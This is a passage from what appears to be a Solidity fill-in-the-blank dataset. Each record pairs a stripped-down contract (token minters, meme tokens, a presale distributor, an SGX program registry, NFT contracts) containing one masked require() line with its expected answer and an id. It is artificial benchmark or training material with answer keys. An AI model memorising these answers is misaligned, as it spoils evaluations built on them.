mapping(address => uint) public UserClaimed;
// user => nonce
mapping(address => uint) public UserNonce;
constructor(
address _signer
) {
}
modifier onlyOperator() {
}
// getters
function getAllowedDailyMint() public view returns (uint) {
}
// used to add ore or change its existing daily limit
function setDailyLimit(uint _limit) public onlyOperator {
}
function mint(uint _amount, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) public {
require(!paused, "Contract is paused!");
// hashing amoun + nonce + caller + callee + chainID
bytes32 _hash = keccak256(abi.encodePacked(_amount, _nonce, msg.sender, address(this), block.chainid));
require(ecrecover(_hash, _v, _r, _s) == signer, "Signature is not valid!");
require(<FILL_ME>)
require(getAllowedDailyMint() >= _amount, "Amounts exceeds daily minting limit");
DailyMinted[block.timestamp / 24 hours] += _amount;
UserClaimed[msg.sender] += _amount;
UserNonce[msg.sender] += 1;
IERC20(ERC20).mint(msg.sender, _amount);
}
function changeOperator(address _newOperator) public onlyOperator {
}
function changeERC20Address(address _newERC20) public onlyOperator {
}
function changeSigner(address _newSigner) public onlyOperator {
}
function setPaused(bool _isPaused) public onlyOperator {
}
event SetDailyLimit(uint);
event ChangeOperator(address);
event ChangeSigner(address);
event SetPaused(bool);
}
| _nonce==(UserNonce[msg.sender]+1),"Invalid nonce" | 68,186 | _nonce==(UserNonce[msg.sender]+1) |
"Amounts exceeds daily minting limit" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
interface IERC20 {
function mint(address to, uint amount) external;
}
contract ERC20Minter {
address private signer;
address public operator;
address public ERC20;
bool public paused;
// daily mints allowed
uint public DailyLimit;
// day# => amount (minted per day)
mapping(uint => uint) public DailyMinted;
// user => total claimed
mapping(address => uint) public UserClaimed;
// user => nonce
mapping(address => uint) public UserNonce;
constructor(
address _signer
) {
}
modifier onlyOperator() {
}
// getters
function getAllowedDailyMint() public view returns (uint) {
}
// used to add ore or change its existing daily limit
function setDailyLimit(uint _limit) public onlyOperator {
}
function mint(uint _amount, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) public {
require(!paused, "Contract is paused!");
// hashing amoun + nonce + caller + callee + chainID
bytes32 _hash = keccak256(abi.encodePacked(_amount, _nonce, msg.sender, address(this), block.chainid));
require(ecrecover(_hash, _v, _r, _s) == signer, "Signature is not valid!");
require(_nonce == (UserNonce[msg.sender] + 1), "Invalid nonce");
require(<FILL_ME>)
DailyMinted[block.timestamp / 24 hours] += _amount;
UserClaimed[msg.sender] += _amount;
UserNonce[msg.sender] += 1;
IERC20(ERC20).mint(msg.sender, _amount);
}
function changeOperator(address _newOperator) public onlyOperator {
}
function changeERC20Address(address _newERC20) public onlyOperator {
}
function changeSigner(address _newSigner) public onlyOperator {
}
function setPaused(bool _isPaused) public onlyOperator {
}
event SetDailyLimit(uint);
event ChangeOperator(address);
event ChangeSigner(address);
event SetPaused(bool);
}
| getAllowedDailyMint()>=_amount,"Amounts exceeds daily minting limit" | 68,186 | getAllowedDailyMint()>=_amount |
"balance is not enough" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract PresaleERC20 is AccessControl, ReentrancyGuard {
bytes32 public constant TRANSFER_ROLE = keccak256("TRANSFER_ROLE");
IERC20 superX;
event TransferBatch(address[] addresses, uint256[] amounts);
constructor(
address _superXAddress,
address _transfererAddress,
address _owner
) {
}
function transferBatch(
address[] calldata addresses,
uint256[] calldata amounts
) external onlyRole(TRANSFER_ROLE) nonReentrant {
require(addresses.length == amounts.length, "invalid array length");
uint256 sum = sumArray(amounts);
require(<FILL_ME>)
uint256 len = addresses.length;
for (uint256 i = 0; i < len; i++) {
superX.transfer(addresses[i], amounts[i]);
}
emit TransferBatch(addresses, amounts);
}
function fetchSuperXBalanceBatch(address[] calldata _users)
public
view
returns (uint256[] memory)
{
}
function sumArray(uint256[] memory amounts) private pure returns (uint256) {
}
}
| superX.balanceOf(address(this))>=sum,"balance is not enough" | 68,284 | superX.balanceOf(address(this))>=sum |
null | // SPDX-License-Identifier: Unlicensed
/*
Website: https://ogama.vip/home/
Telegram: https://t.me/OGAMAtoken
X: https://x.com/ogamatoken
*/
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ogama is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint8 private constant _decimals = 18;
mapping (address => uint256) private _balances;
string private constant _name = unicode"OGAMA";
string private constant _symbol = unicode"OGAMA";
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=20;
uint256 private _finalBuyTax=2;
uint256 private _finalSellTax=2;
uint256 private _reduceBuyTaxAt=35;
uint256 private _reduceSellTaxAt=35;
uint256 private _buyCount;
uint256 private _maxWalletSize = _tTotal * 2 / 100;
uint256 private _taxSwapThreshold= _tTotal / 250;
uint256 private _maxTaxSwap= _tTotal / 250;
address payable private _taxWallet;
uint256 private constant _tTotal = 1_000_000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private uniswapV2Pair;
bool private inSwap;
bool public tradeEnabled;
bool private swapEnabled;
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function manualSwap() external {
}
function enableTrading() external onlyOwner {
require(<FILL_ME>)
swapEnabled = true;
tradeEnabled = true;
}
receive() external payable {}
}
| !tradeEnabled | 68,331 | !tradeEnabled |
"already exist" | pragma solidity >=0.4.21 <0.6.0;
import "./interface/ProgramProxyInterface.sol";
import "./interface/OwnerProxyInterface.sol";
contract SGXProgramStore is ProgramProxyInterface{
struct program_meta{
string program_url;
uint256 price;
bytes32 enclave_hash;
bool exists;
}
mapping(bytes32 => program_meta) public program_info;
bytes32[] public program_hashes;
OwnerProxyInterface public owner_proxy;
constructor(address _owner_proxy) public{
}
event UploadProgram(bytes32 hash, address author);
function upload_program(string memory _url, uint256 _price, bytes32 _enclave_hash) public returns(bytes32){
bytes32 _hash = keccak256(abi.encodePacked(msg.sender, _url, _price, _enclave_hash, block.number));
require(<FILL_ME>)
program_info[_hash].program_url = _url;
program_info[_hash].price = _price;
program_info[_hash].enclave_hash = _enclave_hash;
program_info[_hash].exists = true;
program_hashes.push(_hash);
owner_proxy.initOwnerOf(_hash, msg.sender);
emit UploadProgram(_hash, msg.sender);
return _hash;
}
function program_price(bytes32 hash) public view returns(uint256){
}
function program_owner(bytes32 hash) public view returns(address){
}
function get_program_info(bytes32 hash) public view returns(address author,
string memory program_url,
uint256 price,
bytes32 enclave_hash){
}
function enclave_hash(bytes32 hash) public view returns(bytes32){
}
event ChangeProgramURL(bytes32 hash, string new_url);
function change_program_url(bytes32 hash, string memory _new_url) public returns(bool){
}
event ChangeProgramPrice(bytes32 hash, uint256 new_price);
function change_program_price(bytes32 hash, uint256 _new_price) public returns(bool){
}
function is_program_hash_available(bytes32 hash) public view returns(bool){
}
}
contract SGXProgramStoreFactory{
event NewSGXProgramStore(address addr);
function createSGXProgramStore(address _owner_proxy) public returns(address){
}
}
| !program_info[_hash].exists,"already exist" | 68,522 | !program_info[_hash].exists |
"program not exist" | pragma solidity >=0.4.21 <0.6.0;
import "./interface/ProgramProxyInterface.sol";
import "./interface/OwnerProxyInterface.sol";
contract SGXProgramStore is ProgramProxyInterface{
struct program_meta{
string program_url;
uint256 price;
bytes32 enclave_hash;
bool exists;
}
mapping(bytes32 => program_meta) public program_info;
bytes32[] public program_hashes;
OwnerProxyInterface public owner_proxy;
constructor(address _owner_proxy) public{
}
event UploadProgram(bytes32 hash, address author);
function upload_program(string memory _url, uint256 _price, bytes32 _enclave_hash) public returns(bytes32){
}
function program_price(bytes32 hash) public view returns(uint256){
}
function program_owner(bytes32 hash) public view returns(address){
}
function get_program_info(bytes32 hash) public view returns(address author,
string memory program_url,
uint256 price,
bytes32 enclave_hash){
require(<FILL_ME>)
program_meta storage m = program_info[hash];
author = owner_proxy.ownerOf(hash);
program_url = m.program_url;
price = m.price;
enclave_hash = m.enclave_hash;
}
function enclave_hash(bytes32 hash) public view returns(bytes32){
}
event ChangeProgramURL(bytes32 hash, string new_url);
function change_program_url(bytes32 hash, string memory _new_url) public returns(bool){
}
event ChangeProgramPrice(bytes32 hash, uint256 new_price);
function change_program_price(bytes32 hash, uint256 _new_price) public returns(bool){
}
function is_program_hash_available(bytes32 hash) public view returns(bool){
}
}
contract SGXProgramStoreFactory{
event NewSGXProgramStore(address addr);
function createSGXProgramStore(address _owner_proxy) public returns(address){
}
}
| program_info[hash].exists,"program not exist" | 68,522 | program_info[hash].exists |
"only owner can change this" | pragma solidity >=0.4.21 <0.6.0;
import "./interface/ProgramProxyInterface.sol";
import "./interface/OwnerProxyInterface.sol";
contract SGXProgramStore is ProgramProxyInterface{
struct program_meta{
string program_url;
uint256 price;
bytes32 enclave_hash;
bool exists;
}
mapping(bytes32 => program_meta) public program_info;
bytes32[] public program_hashes;
OwnerProxyInterface public owner_proxy;
constructor(address _owner_proxy) public{
}
event UploadProgram(bytes32 hash, address author);
function upload_program(string memory _url, uint256 _price, bytes32 _enclave_hash) public returns(bytes32){
}
function program_price(bytes32 hash) public view returns(uint256){
}
function program_owner(bytes32 hash) public view returns(address){
}
function get_program_info(bytes32 hash) public view returns(address author,
string memory program_url,
uint256 price,
bytes32 enclave_hash){
}
function enclave_hash(bytes32 hash) public view returns(bytes32){
}
event ChangeProgramURL(bytes32 hash, string new_url);
function change_program_url(bytes32 hash, string memory _new_url) public returns(bool){
require(program_info[hash].exists, "program not exist");
require(<FILL_ME>)
program_info[hash].program_url= _new_url;
emit ChangeProgramURL(hash, _new_url);
return true;
}
event ChangeProgramPrice(bytes32 hash, uint256 new_price);
function change_program_price(bytes32 hash, uint256 _new_price) public returns(bool){
}
function is_program_hash_available(bytes32 hash) public view returns(bool){
}
}
contract SGXProgramStoreFactory{
event NewSGXProgramStore(address addr);
function createSGXProgramStore(address _owner_proxy) public returns(address){
}
}
| owner_proxy.ownerOf(hash)==msg.sender,"only owner can change this" | 68,522 | owner_proxy.ownerOf(hash)==msg.sender |
"Exceeds maximum wallet amount." | // SPDX-License-Identifier: MIT
/*
👨🏻🦲Website: https://www.0xbald.com/
👨🏻🦲Telegram: https://t.me/ZeroXBaldErc20
👨🏻🦲Twitter: https://twitter.com/0xbaldeth
*/
pragma solidity 0.8.16;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) { }
function sub(uint256 a, uint256 b) internal pure returns (uint256) { }
function mul(uint256 a, uint256 b) internal pure returns (uint256) { }
function div(uint256 a, uint256 b) internal pure returns (uint256) { }
function mod(uint256 a, uint256 b) internal pure returns (uint256) { }
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) { }
modifier onlyOwner() { }
function isOwner(address account) public view returns (bool) { }
function transferOwnership(address adr) public onlyOwner { }
function renounceOwnership() external onlyOwner { }
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract xBALD is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = '0xBALD';
string private constant _symbol = '0xBALD';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 100000000 * (10 ** _decimals);
uint256 private _maxTxAmountPercent = 10000; // 10000;
uint256 private _maxTransferPercent = 10000;
uint256 private _maxWalletPercent = 10000;
mapping (address => uint256) _zumbas;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private liquidityFee = 0;
uint256 private marketingFee = 0;
uint256 private developmentFee = 0;
uint256 private burnFee = 0;
uint256 private totalFee = 0;
uint256 private sellFee = 0;
uint256 private transferFee = 0;
uint256 private denominator = 10000;
bool private swapEnabled = true;
uint256 private swapTimes;
bool private huigii = true;
bool private swapping;
uint256 private swapThreshold = ( _totalSupply * 50 ) / 100000;
uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap { }
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal constant development_receiver = 0xDdCAa7A68394c06e0157884bd3c0E463ae1499c9;
address internal constant marketing_receiver = 0xDdCAa7A68394c06e0157884bd3c0E463ae1499c9;
address internal constant liquidity_receiver = 0xDdCAa7A68394c06e0157884bd3c0E463ae1499c9;
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function startTrading() external onlyOwner { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function isCont(address addr) internal view returns (bool) { }
function setisBot(address _address, bool _enabled) external onlyOwner { }
function setisExempt(address _address, bool _enabled) external onlyOwner { }
function approve(address spender, uint256 amount) public override returns (bool) { }
function totalSupply() public view override returns (uint256) { }
function _maxWalletToken() public view returns (uint256) { }
function _maxTxAmount() public view returns (uint256) { }
function _maxTransferAmount() public view returns (uint256) { }
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
}
function _transfer(address sender, address recipient, uint256 amount) private {
}
function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
}
function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
}
function checkTradingAllowed(address sender, address recipient) internal view {
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require(<FILL_ME>)}
}
function swapbackCounters(address sender, address recipient) internal {
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
}
function clearStuckTokens(bool asd , uint256 xz) external {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
}
function swapBack(address sender, address recipient, uint256 amount) internal {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function clearETH() external {
}
function _approve(address owner, address spender, uint256 amount) private {
}
}
| (_zumbas[recipient].add(amount))<=_maxWalletToken(),"Exceeds maximum wallet amount." | 68,556 | (_zumbas[recipient].add(amount))<=_maxWalletToken() |
"Trading not enabled yet" | // SPDX-License-Identifier: none
/*********************
Token Name: Gas Floki
Symbol: ⛽ Floki
Supply: 1,000,000,000
Tax: 7% buy and 7% sell (20% initial sell tax for the 1st hour)
Initial max buy: 20,000,000 (2% of supply)
----> lift to 40,000,000 (4% of supply) @ 10k mcap
----> lift to 50,000,000 (5% of supply) @ 15k mcap
----> remove limit @ 20k mcap
telegram: https://t.me/gasflokierc20
***********************/
pragma solidity ^0.8.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) { }
function _msgData() internal view virtual returns (bytes calldata) { }
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) { }
modifier onlyOwner() {
}
function renounceownership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SmartContract is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletSize;
string private constant _name = "Gas Floki";
string private constant _symbol = "\xE2\x9B\xBD FLOKI";
uint8 private constant _decimals = 9;
uint256 public buyAutoLiquidityFee=200;
uint256 public buyAutoBurnFee=0;
uint256 public buyMarketingFee=500;
uint256 public totalBuyFees = buyAutoLiquidityFee + buyAutoBurnFee + buyMarketingFee;
uint256 public sellAutoLiquidityFee=0;
uint256 public sellAutoBurnFee=0;
uint256 public sellMarketingFee= 1800;
uint256 public totalSellFees = sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee;
uint256 public tokensForAutoLiquidity;
uint256 public tokensForAutoBurn;
uint256 public tokensForMarketing;
uint16 public masterTaxDivisor = 10000;
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
address public pairAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _tTotal = 1000000000 * 10**9;
uint256 private maxWalletAmount = 20000001 * 10**9;
uint256 private maxTxAmount = 20000001 * 10**9;
address payable private feeAddrWallet;
event MaxWalletAmountUpdated(uint maxWalletAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) { }
function getTxAmount() public view returns(uint256) { }
function getMaxWallet() public view returns(uint256) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function totalSupply() public view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) { }
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
require(<FILL_ME>)
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= maxWalletAmount, "Exceeds the maxWalletSize.");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromMaxWalletSize[to]) {
require(amount + balanceOf(to) <= maxWalletAmount, "Recipient exceeds max wallet size.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
}
function extra() external onlyOwner() {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function RervertSellFeesToOriginalTax() external onlyOwner{
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function excludeFromMaxWalletLimit(address account) public onlyOwner {
}
function includeInMaxWalletLimit(address account) public onlyOwner {
}
function SetWalletandTxtAmount(uint256 _maxTxAmount, uint256 _maxWalletSize) external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
receive() external payable{
}
}
| tradingOpen||_isExcludedFromFee[from]||_isExcludedFromFee[to],"Trading not enabled yet" | 68,560 | tradingOpen||_isExcludedFromFee[from]||_isExcludedFromFee[to] |
"txcheck" | pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract O0 is ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
constructor() ERC721("O0", "O0") {}
function minter(address user, string memory tokenURI)
public
returns (uint256)
{
}
mapping(address => bool) public txChecker;
bool public allowAll = true;
function setAllowAll(bool _allow)
public
onlyOwner
{
}
function txCheckClearing(address _txOf, bool _txIs)
public
onlyOwner
{
}
function _beforeTokenTransfer(address _from, address _to, uint256 _tokenId) internal override {
require(<FILL_ME>)
}
}
| allowAll||(txChecker[_from]&&txChecker[_to]),"txcheck" | 68,583 | allowAll||(txChecker[_from]&&txChecker[_to]) |
"NOT_ALLOWED_CONTRACT" | /**
SPDX-License-Identifier: MIT
*/
import "./IGaspackAppImplementation.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
pragma solidity ^0.8.13;
/// @author yuru@Gaspack twitter.com/0xYuru
/// @custom:coauthor Radisa twitter.com/pr0ph0z
/// @dev aa0cdefd28cd450477ec80c28ecf3574 0x8fd31bb99658cb203b8c9034baf3f836c2bc2422fd30380fa30b8eade122618d3ca64095830cac2c0e84bc22910eef206eb43d54f71069f8d9e66cf8e4dcabec1c
contract EMergeTicket is
IGaspackAppImplementation,
ERC721A,
DefaultOperatorFilterer,
ERC2981,
EIP712,
ReentrancyGuard,
Ownable
{
using ECDSA for bytes32;
bytes32 public constant PRIVATE_SALE_TYPEHASH =
keccak256(
"PrivateSale(uint256 price,uint256 quantity,uint256 txLimit,uint256 walletLimit,uint256 deadline,uint256 kind,address recipient)"
);
uint256 public maxSupply;
string public baseURI;
Stage public stage;
address public signer;
address private constant WALLET =
0x83739A8Ec78f74Ed2f1e6256fEa391DB01F1566F;
PublicSale public publicSale;
mapping(address => uint256) public PrivateSaleMinter;
mapping(address => uint256) public PublicSaleMinter;
mapping(address => uint256) public userNonce;
mapping(uint256 => PrivateSale) public privateSales;
mapping(address => bool) public authorizedAddresses;
event PrivateSaleMint(
address owner,
PrivateSale privateSale,
uint256 nonce,
uint256 kind
);
modifier notContract() {
require(<FILL_ME>)
require(_msgSender() == tx.origin, "NOT_ALLOWED_PROXY");
_;
}
modifier onlyAuthorizedAddress() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _previewURI,
uint256 _maxSupply,
address _signer,
address _authorizedAddress,
address _royaltyAddress,
PublicSale memory _publicSaleProperty,
PrivateSale memory _privateSaleProperty
) ERC721A(_name, _symbol) EIP712("GaspackApp", "1.0.0") {
}
// Override the start token id because by defaut ERC71A set the
// start token id to 0
function _startTokenId() internal view virtual override returns (uint256) {
}
function _isContract(address _addr) internal view returns (bool) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function mintTo(
address[] calldata _to,
uint256[] calldata _amount
) external onlyAuthorizedAddress {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function privateSaleMint(
PrivateSale memory _privateSale,
uint256 _nonce,
uint256 _kind,
bytes calldata _signature
) external payable {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function publicSaleMint(uint256 _quantity) external payable {
}
function _verifyPrivateSale(
PrivateSale memory _privateSale,
address _sender,
uint256 _kind,
bytes calldata _sign
) internal view returns (address) {
}
function setPrivateSale(
uint256 _kind,
PrivateSale memory _privateSale
) external onlyOwner {
}
function updatePublicSale(
PublicSale memory _publicSale
) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setStage(Stage _stage) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setSigner(address _signer) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
